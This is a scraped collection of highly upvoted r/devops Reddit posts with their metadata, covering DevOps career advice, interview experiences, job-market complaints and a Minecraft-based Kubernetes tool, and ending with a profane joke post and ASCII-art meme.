* I started my carrier as SE in Walmart. Stayed there for for like 1 year. Got an opportunity to work in Dubai and moved to DevOps eventually and have been in the industry for 4 years now. * I had a habit of documenting everything I learn. * I got this amazing advice from one amazing person that we should always learn new tech by doing small tasks consistently and by the time you reach to task 50 or 100, you are way ahead from where you started. * So I started dividing all my learnings in small tasks and still doing the same. Anything I want to learn, I would go here and add another task about the new tool or tech. * So far I have created nearly 300 tasks here [https://github.com/codeaprendiz/learn-devops](https://github.com/codeaprendiz/learn-devops) including following stack * cloud-providers (aws and oci) * containers (docker and docker-compose) * container orchestration (kubernetes) * datebases (mongo, mysql, postgres) * Infrastructure As Code (terraform-aws, terraform-oci, ansible) * Interview Tasks (legit interview tasks, for an annual pay of 80k to 100k USD in dubai) * OS and Concepts (linux commands and concepts) * Programming languates (go, python, shell, nodejs, javascript) * Productivity * Version Control (git) * WebServers (nginx) * There a lot more I need to learn but I figure why not start my own youtube channel. Afterall the best way to learn is to teach. Only then you understand how much you know. * What do you amazing folks think :) ?",codeaprendiz,741,72,1664099339,/r/devops/comments/xnj147/5_year_into_the_devops_industry_and_heres_my/,https://www.reddit.com/r/devops/comments/xnj147/5_year_into_the_devops_industry_and_heres_my/,self.devops,True,,,,, y0gows,devops,I just canceled a technical interview due to the “assignment”. [Sanity check],"So I’ve been talking to this slightly post-startup company in Northern Europe which needed someone to come in and lead the migration work to Kubernetes and basically own the whole platform from code to production. This is something I already have experience doing so it seemed like a great fit. First interview goes well, I chat with the CTO who I would be reporting to. Company seems progressive and with a good product. Then comes the technical interview invite. They want me to design the golden path for their company from code to production and give a 40 minute presentation on it. I’m initially skeptical as this sounds like “hire a consultant for free”. And when I start calculating how long it will take me to research, design and create this presentation I come to a complete halt. I ask them if a 10 minute presentation will suffice. Their reply is basically, no but you can have more time to prepare if you’d like. I said no thanks and canceled the interview. To me this sounds both ethically questionable and completely disrespectful of my time. Do companies really demand this much time from candidates these days?",bruj0and,724,130,1665413405,/r/devops/comments/y0gows/i_just_canceled_a_technical_interview_due_to_the/,https://www.reddit.com/r/devops/comments/y0gows/i_just_canceled_a_technical_interview_due_to_the/,self.devops,True,,,,, zku6x5,devops,"A single person answered 76k questions about SQL on StackOverflow. Averaging 22.8 answers per day, every day, for the past 8.6 years",[https://stackoverflow.com/nocaptcha?s=b5164ff9-20c1-417b-b1cc-2d6faea5f42e](https://stackoverflow.com/nocaptcha?s=b5164ff9-20c1-417b-b1cc-2d6faea5f42e),Minteandome,683,87,1670933400,/r/devops/comments/zku6x5/a_single_person_answered_76k_questions_about_sql/,https://www.reddit.com/r/devops/comments/zku6x5/a_single_person_answered_76k_questions_about_sql/,self.devops,True,,,,, askyfu,devops,Today we had someone fake their entire interview via Skype - Story,"Hey everyone. This happened earlier this afternoon and it was such an eye opening wild experience I felt the need to share. &#x200B; My team has had trouble locating good DevOps talent in our market so the recruiting team opened up their search nationally. We were presented with what appeared to be an excellent candidate and we scheduled an interview. I started to get a funny feeling this morning when going back over his resume due to its 6 page length. If there was a technology or buzzword it was included in this resume. We were also told that there was a strong accent and that our manager was unable to understand some of his answers during the initial phone screen but what he did hear he liked. &#x200B; Fast forward to the interview and I join the skype call with my team and the candidate joins shortly after. Once joined he then called in from his phone and told us his laptop microphone was broken. First red flag of the interview popped up immediately as I recognized his phone as a local area code to myself. I then checked the candidates linkedin and noticed he had never lived locally to myself; nor even within 500 miles so why would he have a phone number with my area code? Interesting. Our manager starts the interview with some process and general questions and things are going along great then the torch is passed to me for some technical questions. I tend to not ask anything you can easily google and stick towards more experience based questions with a few details extracted based on the answer. I noticed right away after asking my first question the candidate leaned in really close to his computer and started giving a very verbose answer based around the technologies I had mentioned. This continued for the rest of my questioning and after full screening the candidates webcam I noticed his eyes tracking left to right across his screen! About the same time I noticed this another team member messaged me on a separate chat and asked me if I noticed it as well. We confirmed. &#x200B; I passed the torch over to another team member and he started his questioning. The same pattern showed through; very correct, verbose answers but the eye tracking left to right maintained. During this time I decided to ask the candidate a more personal question as we wanted to confirm whether or not this was a nervous tick related to question answering in general or our suspicions were correct. I asked him a car related question to the picture of himself and his car he had posted on LinkedIn. Immediately his posture and response style changed and there was no eye tracking. He sat back up in his chair with a smile on his face and talked in detail about what I had asked. I passed back over to my colleague again and immediately the eye tracking and leaned in close look happened. We also noticed a short 1-2 second delay after technical questions were asked to when the answers started flowing. Towards the end of the interivew my manager decided to say something about it and pointed out that from our point of view it was interesting as he appeared to be reading answers off his screen. My manager then said ""I'm sure thats not whats happening we just aren't used to interviewing remote candidates I guess"". Immediately the candidate became defensive stating nothing like that was happening and he was sorry it appeared that way. My manager confirmed ""no worries"" and we had a few final questions. Shortly after, in the middle of one of our questions, the candidate disconnected the phone call and we saw him close his laptop screen. &#x200B; TLDR: Candidate was on a conference call and someone (or team) was feeding him answers in real time to our questions. The canidate mentioned he was currently a contractor for Infosys. I've googled Infosys and there is some crazy information out there. &#x200B; Anyway, stay frosty and alert out there team! &#x200B; &#x200B;",WorkAccountObv,677,354,1550643953,/r/devops/comments/askyfu/today_we_had_someone_fake_their_entire_interview/,https://www.reddit.com/r/devops/comments/askyfu/today_we_had_someone_fake_their_entire_interview/,self.devops,True,,,,, y2a2p4,devops,Is 80% of what you do at a large company just navigating how to get things done in the organization?,"I swear if all we had to do was create dockerfiles, CICD pipelines, and helm charts to deploy people's code, it would be easy, but we spend 80% of the time working around firewall rules, company proxy ssl certs, submitting jira tickets, backlog grooming, planning poker, security patching and regular meetings to get other departments to make simple changes, like adding a dns record or upgrading a ruby gem. Is this normal devops work in a large organization?",IntelletiveConsult,636,170,1665595913,/r/devops/comments/y2a2p4/is_80_of_what_you_do_at_a_large_company_just/,https://www.reddit.com/r/devops/comments/y2a2p4/is_80_of_what_you_do_at_a_large_company_just/,self.devops,True,,,,, 1fs8zg4,devops,To everyone who thinks AI will take our jobs..,"There are some junior folk who are having second thoughts about Engineering career.. I had to write some reasonably trivial code, a flask api for mongo backend with some specific handlers.. given that I'm a Go developer I wanted to save some time and use ChatGPT-4o to help me speed things up. 4 hours wasted, endless shit code that didn't do what is needed, ended up writing it myself.. Whoever thinks AI will replace engineers is either having some agenda or a complete moron.",Dubinko,619,304,1727628971,/r/devops/comments/1fs8zg4/to_everyone_who_thinks_ai_will_take_our_jobs/,https://www.reddit.com/r/devops/comments/1fs8zg4/to_everyone_who_thinks_ai_will_take_our_jobs/,self.devops,True,,,,, p6ti1u,devops,"[meta] Why do people keep posting YouTube videos instead of gitHub Repos? I want to read and replicate your infrastructure code, not watch a video.","Mini meta rant: how is it that YouTube videos keep getting posted here? Do other people really prefer YouTube content over a solid README with code examples? You know, like what you do on the actual job. Every other day it's another YouTube video and I'm getting a little tired of it. I'm not going to go through your 10 video playlist to learn concepts when there is no way to replicate it in my own homelab without manually typing in what you're saying.",IndieDiscovery,565,112,1629300620,/r/devops/comments/p6ti1u/meta_why_do_people_keep_posting_youtube_videos/,https://www.reddit.com/r/devops/comments/p6ti1u/meta_why_do_people_keep_posting_youtube_videos/,self.devops,True,,,,, j70317,devops,Minecraft as a kubernetes admin tool,"I wrote a little tool that allows you to admin your k8s cluster through minecraft. Pigs are pods, chickens are services, cows are RSs and horses are deployments. Killing an animal in the game will be reflected by killing the corresponding resource in your cluster. Enjoy! Video and github are linked from article. https://medium.com/@eric.jadi/minecraft-as-a-k8s-admin-tool-cf16f890de42",isseki,559,43,1602106926,/r/devops/comments/j70317/minecraft_as_a_kubernetes_admin_tool/,https://www.reddit.com/r/devops/comments/j70317/minecraft_as_a_kubernetes_admin_tool/,self.devops,True,,,,, 1jck1r2,devops,"For all wanting to enter DevOps, here's my personal ""stand out"" tips","Hello all, Do-everything developer of ~20 years who transitioned into DevOps 5 years ago reporting in - born from the struggles with my own current team members and the vast majority of DevOps candidates we engineer, I wanted to share my thoughts about the industry and candidates we come across: - 95% of **good** DevOps engineers **were** developers first - there are exceptions, but being a DevOps Engineer is **knowing the pain your devs face** and most importantly **improving it**. The number of candidates we reject each month that think doing ""AZ101"" certifications or telling me how much their Golang/Rust stack ""could"" scale is indescribable - not unimportant having that skillset, but if you operate in a DevOps team just working with brand-new stacks and technologies each day and pay no attention to the business-process pain your staff base is dealing with, you won't last. - **Please, please** learn the basics of computer hardware, networking (IPv4/IPv6, DNS, DHCP) **outside of a cloud environment** - the number of people who claim experience with these but falter as soon as it's not ""in an AWS VPC"" is unbelievable. - **Be hungry to learn, forever, always.** - if you're not one of the most technically-innovative people in your company, and at least **somewhat** interested in tech/dev outside of work, you will fail - and you should. DevOps is **not** a role for people to do average and milk it for what it's worth. At the risk of sounding like a bitter veteran with the above - these are just my own experiences and guidance I would give to new entrants to the industry if I could :)",ProxyChain,500,170,1742126958,/r/devops/comments/1jck1r2/for_all_wanting_to_enter_devops_heres_my_personal/,https://www.reddit.com/r/devops/comments/1jck1r2/for_all_wanting_to_enter_devops_heres_my_personal/,self.devops,True,,,,, 1g6he1w,devops,My employer is offering me a 65% raise and a bonus in the next pay cycle if I rescind my 2 weeks notice.," In the past year working in a start up, I had made a transition working as a senior cloud infrastructure engineer to a junior and now mid level full stack engineer. 2 senior cloud guys and 1 senior full stack engineer decided to leave our company to take roles in FAANGs (who also happen to be our customers for our product) these last few months. Although we re’orgd and some duties got divvied out amongst us. I got bombarded doing my job and taking on cloud duties again. My mental health has been killing me with deadlines, and management asking us to push new releases on a Friday, which takes up some of my weekend. I’m just so done. I been offered employment elsewhere and put my notice in so I can take a month off for vacation and reset. Well I got a call almost instantly from the CTO, Product, and CEO about anything they can do to keep me including offering me a promotion to senior, a huge raise, focus on backend development only, and a $25k retention bonus on the next pay cycle. The raise is about 10% more than the new employee is offering. They want to give me the weekend to think over it. I’m contemplating on whether I should take the offer or not. ",choihanthrowaway,499,466,1729256161,/r/devops/comments/1g6he1w/my_employer_is_offering_me_a_65_raise_and_a_bonus/,https://www.reddit.com/r/devops/comments/1g6he1w/my_employer_is_offering_me_a_65_raise_and_a_bonus/,self.devops,True,,,,, 14fgfq8,devops,"Shit guys, I need a fucking job","Shit guys, I need a fucking job because my goddamn wallet has a hole in it. My family keeps eating all my food and spending my cash on shit like water and gas. Like, piss off already, right? The fuck is wrong with this world. I can kick ass with Ansible. I'll terraform all your shit. AWS is my bitch. I have some fucking piece of paper that says I'm a solutions architect. I've used a lot of their shit. Except Infinidash. Fuck Infinidash. I'll run CircleCIs around you, 'n shit. I'll GitOps your ass 'n back. I'll helmet yer kubernetes n' argo my way to the moon, fucker. I'll Git into your Lab n' Hub my way into your servers, lawl! I've worked with some kickass languages like Node 'n Python n' C#. PHP is okay, goddamnit, unless you're not using it right. I also worked with piece of shit languages like ColdFusion. I've done some cool leet shit too, lawl! Like, this one time, I had to go to court because this dood thought it'd be super leet of him to try to hack his old bosses shit after his boss fired him. Boy, I showed him! I sneaked into their shit and found all the holes he left behind, and patched them so they could fire him, lool! I showed him, what a noob! He's now friends with that asshole, Bubba, and moved into this kool hotel with metal bars n shit. Also, fuck Steve Huffman. He can Huff mah dick, lawl. ^(I really do need a job though...) Edit: For an example of my ""professional"" speak, DM me ## Edit 2: WTF, guys. Is shitposting on reddit actually going to go down as the single best thing I've done for my career?! I LOVE IT.",vsysio,498,152,1687374598,/r/devops/comments/14fgfq8/shit_guys_i_need_a_fucking_job/,https://www.reddit.com/r/devops/comments/14fgfq8/shit_guys_i_need_a_fucking_job/,self.devops,True,,,,, 12es2dk,devops,"Can we stop with the ""DevOps is not a role!!!!"" posts?","Title. It may have started as a philosophy, but it IS a role now, no matter how much we may disagree with it. These comments are getting so obnoxious and 99% of the time have ***nothing*** to do with the actual thread. Just saw some guy asking about his career, saying he thinks his skill-set fits DevOps more than Web Development and there were a few ""BuT DeVoPs iS nOt a RoLe!!!!"" comments that had absolutely nothing to do with the guys question. Please, just stop.",bioinformaticsthrow1,496,185,1680887285,/r/devops/comments/12es2dk/can_we_stop_with_the_devops_is_not_a_role_posts/,https://www.reddit.com/r/devops/comments/12es2dk/can_we_stop_with_the_devops_is_not_a_role_posts/,self.devops,True,,,,, 1ar6wrc,devops,"Passed an 8-hour, 8-interview panel — No offer","I just interviewed for a Staff/Senior role based in Silicon Valley. My last role was Staff Engineer. I have 20 total years of experience, with 10 of those years in DevOps. The first three interviews were on separate days, but the last 5 of them were a panel broken up and fit into one day. All the interviews consisted a mix of coding and technical assessments, behavioral assessments, and culture fit. There were two coding assessments: first an easy one, and then a hard one. I am the only one who ever passed the second one. It was indeed a complicated problem. I got all yesses across the board. The recruiter said all the feedback was glistening with positivity… …Except for interview #7 (Infrastructure/Ops Assessment). It seemed to me that this particular interviewer did not like me even before I showed up for the interview. He seemed unenthusiastic to even meet with me. He was an absolute asshole. During this particular interview, he was indexing for any little thing he could find a hole in my knowledge on, trying to trip me up anywhere he could. Despite demonstrating deep knowledge across several domains, and diving deep into how I might solve a variety of problems across each domain, he ignored anything positive I said and instead hyper focused on anything he could find that was wrong — where I had knowledge gaps. The only real area where I had a knowledge gap during this session was Kubernetes StatefulSets and Headless Services. No where I’ve been used them, so that’s one thing on k8s I just have not touched much. But I looked it up later and learned it in a few minutes. He offered no feedback for my knowledge gaps, did not offer me any knowledge, did not give me any sense of direction where I might have been wrong, just quietly took his notes and continued on. I dived deep into other areas of Kubernetes, such as the other types of Service objects and ways of deploying applications that I have used (e.g., Deployments, DaemonSets), and Istio Service Mesh, and ArgoCD and Argo Rollouts, and I explained how their CRDs and Operators/Controllers work. Explained how Kubernetes networking works (less Headless Services). And here’s where it gets interesting… These guys aren’t even using Kubernetes yet! After all the interviews, I sent a nice Thank You note to everyone in the panel, and explained that I’d love to work with them. Despite all of this, Interviewer #7 still gave me a “No”, and now it’s being discussed internally between the entire panel. The last thing the recruiter told me was, “Stay positive, I think you’re good”, but he has since has gone dark and unresponsive. I put so much time and energy into this role, and now I feel extremely disrespected and insulted. Why are people like this? Why is hiring like this? Is there something wrong with me? Did I just not hit the bar? I’m so confused about what’s going on. 😕 **TL;DR: What In The Actual F*?**",[deleted],492,263,1707970552,/r/devops/comments/1ar6wrc/passed_an_8hour_8interview_panel_no_offer/,https://www.reddit.com/r/devops/comments/1ar6wrc/passed_an_8hour_8interview_panel_no_offer/,self.devops,True,,,,, 1ko27x6,devops,"I self-created Linkedin Job, Applied with 18 different resumes to see which resume format passes ATS, here it is.","Hi Folks, During past few weeks I was experimenting with Linkedin, I created few of accounts with different setup to see what makes candidate to have higher chances to get a job or be rejected by Linkedin filters. Out of 56 candidates only 18 appeared in my Inbox, for others I had to manually select ""Not a Fit"" section (spam folder) to see those candidates as they are hidden. They get a rejection letter 3 days after application. LinkedIn does this 3 day thing not to frustrate people, shitty thing if you ask me cuz you are hopeful for that time while in fact you are already rejected. Before I go on, let me give a full disclosure, I'm sharing [LaTeX formatted resume](https://interview10x.com/resume.latex) for TL;DR (latex is open source format for creating documents) also I'm adding UI Interface I did for those who just wanna use [UI to drag and drop PDF](https://interview10x.com/linkedin-optimization/), before you accuse me of something you should be aware that this app is open source, free and doesn't require signup it basically takes your current resume and converts that to the very same LaTeX resume so you don't have to do it manually. You can use either, both will be equally fine, UI works only for pdf (no Word files) also it fails sometimes (1-2% of times), I have no plans of improving it, but you can. Ok lets continue with Linkedin filters: * The very first and **most Brutal** filter is if your Country is not in same country where job was advertised. * If job is advertised as Hybrid or On-Site, and your location is way too far even in same country you have 50-50 chance of ending up in spam (auto-reject) * Another one is your Phone number's country code, don't use foreign numbers * Another big one is Resume format/PDF format. Some resume formats especially fancy ones are not parsed well by Linkedin and if they can't parse it they will rank you significantly lower. * Don't add bunch of keywords e.g. comma separated/bullet list of technologies at the bottom of the page, this kind of tricks doesn't work anymore and will do more harm triggering spam filter, keywords should be naturally integrated in descriptions of what you did at your past jobs.",SpecialistArm7522,486,59,1747405624,/r/devops/comments/1ko27x6/i_selfcreated_linkedin_job_applied_with_18/,https://www.reddit.com/r/devops/comments/1ko27x6/i_selfcreated_linkedin_job_applied_with_18/,self.devops,True,,,,, 13hzbh6,devops,Meaningless subreddit,"**EDIT: We won guys, WE won! The other post was unblocked! Here's the link https://www.reddit.com/r/devops/comments/13h6nk4/if\_you\_want\_to\_exceel\_in\_your\_career\_you\_must\_be/** Yesterday, I created a post regarding importance of coding skills in DevOps. For once in the past few weeks, we have managed to create a meaningful discussion with both people agreeing and disagreeing on the topic. No insults, no harassment, nothing that violates the rules, but just something that people could find useful if searching for guidance on what technologies to pick up and how to advance in their career (even in different directions i.e. managerial or technical). And ofcourse, the ""mods"" removed the post from the feed ""due to breaking some rule"", like always without any explanation. **WELL DONE!** Keeping the community safe :) **P.S.** I hope some day I have the oppotunity to interview any of you ""mods"" so I can belittle your existance, but I guess that is a long shot, most of you probably haven't heard of DevOps outside of this sub.",Nimda_lel,479,110,1684130310,/r/devops/comments/13hzbh6/meaningless_subreddit/,https://www.reddit.com/r/devops/comments/13hzbh6/meaningless_subreddit/,self.devops,True,,,,, z8fanh,devops,New DevOps please learn networking,I know the current meta is f college and lets become DevOps engineer after watching few YouTube videos… but please add some networking videos to your playlist… I interviewed more than 20 “DevOps” engineer in the last few weeks and the lack of basic networking knowledge is nuts…,SuperMiguel,464,385,1669777483,/r/devops/comments/z8fanh/new_devops_please_learn_networking/,https://www.reddit.com/r/devops/comments/z8fanh/new_devops_please_learn_networking/,self.devops,True,,,,, 12m40w8,devops,Is this job always this thankless?,"Senior DevOps/Infra/Platform Engineer here. I've been working at a fintech startup since day 1 of the company and now, almost 4 years after, we are becoming a big player in the market we operate. That is many clients, high stakes all the time. Yesterday I had to perform, what I believe, has been the riskiest, most difficult migration I've done in my career and life. It's safe to say that the environment is highly complex and has many many moving parts. Well since I've been preparing and getting things ready, yesterday I migrated everything under 1.5 hrs. And afterwards it was as if nothing had happened. I feel it was a monumental accomplishment on my part (specially because I mainly performed it myself, manager was just watching) but come Friday noone said anything.. no one gives a shit really. I don't blame anyone but I can't shake the feeling that sometimes people don't realise how bad things can go and how much risk and stress our job entails. What do you do in these situations?",oschvr,462,230,1681491943,/r/devops/comments/12m40w8/is_this_job_always_this_thankless/,https://www.reddit.com/r/devops/comments/12m40w8/is_this_job_always_this_thankless/,self.devops,True,,,,, 1kif09k,devops,term DevOps is Dying,"In 2021 when I was applying for a job one recruiter told me on the phone ""You know I'm thinking to become a DevOps, you guys are paid a lot and its so easy to get a job, what I need for that? Pass AWS Certificate?"" 4 years later the field is objectively is fucked up. I run the market analysis based on Linkedin postings every month and for last 6+ months is more and more DevOps becoming a full stack engineer. Programming used to be optional for devops now its not, highest requested skill in Job descriptions Python, even Golang is showing up in 28% of job postings, not that may or may not be in your local area, but I run this all regions. I had a co-worker who told me openly that he become DevOps cuz ""its easy and he doesn't need programming.. a simple transition for him from Customer service into DevOps"". Most of those folks of 2020-2021 wave now frustrated that the job market is non-existent. It is non existent if don't know your craft well. Can you write a simple round robin load balancer in any language that is using sockets without AI? it could be as short as 20 lines of code.. that need both network knowledge and programming, I guarantee that 9/10 of Engineers will be clueless to how even start implementing it, yet ask anyone and they want to get 100K+ If you are looking or planning to look for a job, please stop racking up certificates, everyone and their mother has AWS, Kubernetes, and list goes on certificates THEY (almost) DON'T HAVE VALUE. now allegedly non-profit Linux Foundation made another abomination of money grab called Kubeastronaut, what a shitshow.. Guys I don't want to bring anyone down, I recently started looking for a new job and luckily I could get interviews and offers despite the market so what I'm trying to say is just upskill but in a right way. Don't be fooled by marketing machine of AWS or other Cert provider Pick up hard skills, become a balanced engineer who know entire process and you will be fine regardless of Bad or Good market: Networking, OS Programming DSA (you should know at least how to approach Easy questions) Cloud architecture patterns (check AWS Architects blog) Event driven architectures and list goes on, but for Gods sake don't get another AWS SAA cert and call it a day. .. if you need more data here is the [market analysis](https://prepare.sh/trends/devops) for May 2025.",Dubinko,457,193,1746785830,/r/devops/comments/1kif09k/term_devops_is_dying/,https://www.reddit.com/r/devops/comments/1kif09k/term_devops_is_dying/,self.devops,True,,,,, s7r8i2,devops,Do you guys know what you are doing most of the time?,"I am a DevOps Engineer but most of the time I have no idea what I am doing. It is pretty common that seemingly simple tasks take a week or two to be completed because I struggle when trying to find out what I need to do. I also procrastinate a lot but this is mostly because I have no idea what to do. Honestly, I am not sure how I have not been fired yet, instead they keep giving me raises and positive feedback.",[deleted],456,245,1642602285,/r/devops/comments/s7r8i2/do_you_guys_know_what_you_are_doing_most_of_the/,https://www.reddit.com/r/devops/comments/s7r8i2/do_you_guys_know_what_you_are_doing_most_of_the/,self.devops,True,,,,, 14f5jco,devops,CI/CD deez nutz," ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣶⣾⣿⣿⣿⣿⣿⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠈⠉⠻⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣠⣾⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⢠⣾⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⢀⣴⣿⣿⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⢿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⢠⣶⣿⣿⣿⣿⡟⠿⣧⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⡿⠷⣦⠀⠀⠀⢸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣿⣿⣿⣿⣿⡿⠁⠀⣹⣧⣴⠶⠀⠀⢠⣿⣿⣿⣿⣿⣿⠃⠀⠹⣧⠀⠀⢸⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣿⣿⣿⣟⣉⣀⣤⣾⣿⠟⠁⠀⠀⠀⢻⣿⡿⠿⠿⠟⠁⠀⢀⣼⡟⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣿⣿⠋⠉⠉⠉⢹⣿⠁⠀⠰⣶⣄⠀⠀⠻⢷⣦⣤⣤⣴⣶⠿⠋⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢰⣿⡏⠀⠀⠀⠀⠘⠿⣷⣶⣶⡿⠟⠀⠀⠀⠀⠈⢉⣁⣀⣠⣤⡄⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢸⣿⣧⣤⣤⣶⣤⣤⣤⣤⣶⣶⣶⣶⣶⣶⣿⡿⠿⠿⠟⠛⠛⠋⠁⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣶⣶⣦⡀⠀⠀⠀⠀⠀ ⣼⣿⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⠃⠀⠀⠙⢿⣆⠀⠀⠀⠀ ⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡏⠀⠀⠀⠀⠘⣿⡄⠀⠀⠀ ⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⡿⠀⠀⠀⠀⠀⢰⣿⠇⠀⠀⠀ ⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣦⠀⢰⣶⠀⠀⠀⠸⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⡿⠁⠀⠀⠀⠠⡆⣸⡿⠀⠀⠀⠀ ⢻⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡆⢸⣿⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⡿⠁⠀⠀⠀⣤⠀⢰⣿⠃⠀⠀⠀⠀ ⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠇⢸⣿⡆⠀⠀⠀⢸⣿⣆⢀⣠⣴⣶⡿⠿⠿⠿⠿⠿⣿⣶⣿⠟⠁⠀⠀⠀⠀⠉⣠⣿⠏⠀⠀⠀⠀⠀ ⠈⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⢸⣿⡇⠀⠀⠀⠸⣿⣿⡿⠛⠉⢀⣀⠀⠀⠀⠀⠀⣸⣿⠋⠀⠀⠀⠀⠀⣠⣾⣿⣇⣤⣶⣦⣄⠀⠀ ⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⢸⣿⡇⠀⠀⠀⠀⢻⡏⠀⢠⡄⠈⢻⣿⣶⣶⣾⣿⣿⣿⣶⣤⣄⣀⠀⠀⠛⠻⠟⠋⠉⠉⠹⣿⠄⠀ ⠀⠘⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡀⢸⣿⠇⠀⠀⠀⠀⠈⠁⠀⠀⢠⣴⠟⠛⠉⠁⠀⠀⠀⠀⠈⠉⠛⠻⢿⣦⣄⠀⠀⢿⣶⣤⣾⡏⠀⠀ ⠀⠀⢹⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⢸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⠀⠀⠈⠉⠉⠛⢿⡄ ⠀⠀⠀⢻⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⠃⠀⠛⠿⢶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⣄⣀⣀⡀⣀⣼⡇ ⠀⠀⠀⠈⢿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠟⠁⣀⠀⣶⣦⣀⣸⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡿⠿⠿⠿⠿⠋⠀ ⠀⠀⠀⠀⠈⢿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣼⣿⣶⣿⡟⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠻⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⠏⠀⠀⠀⠀⠀⠀⠀ 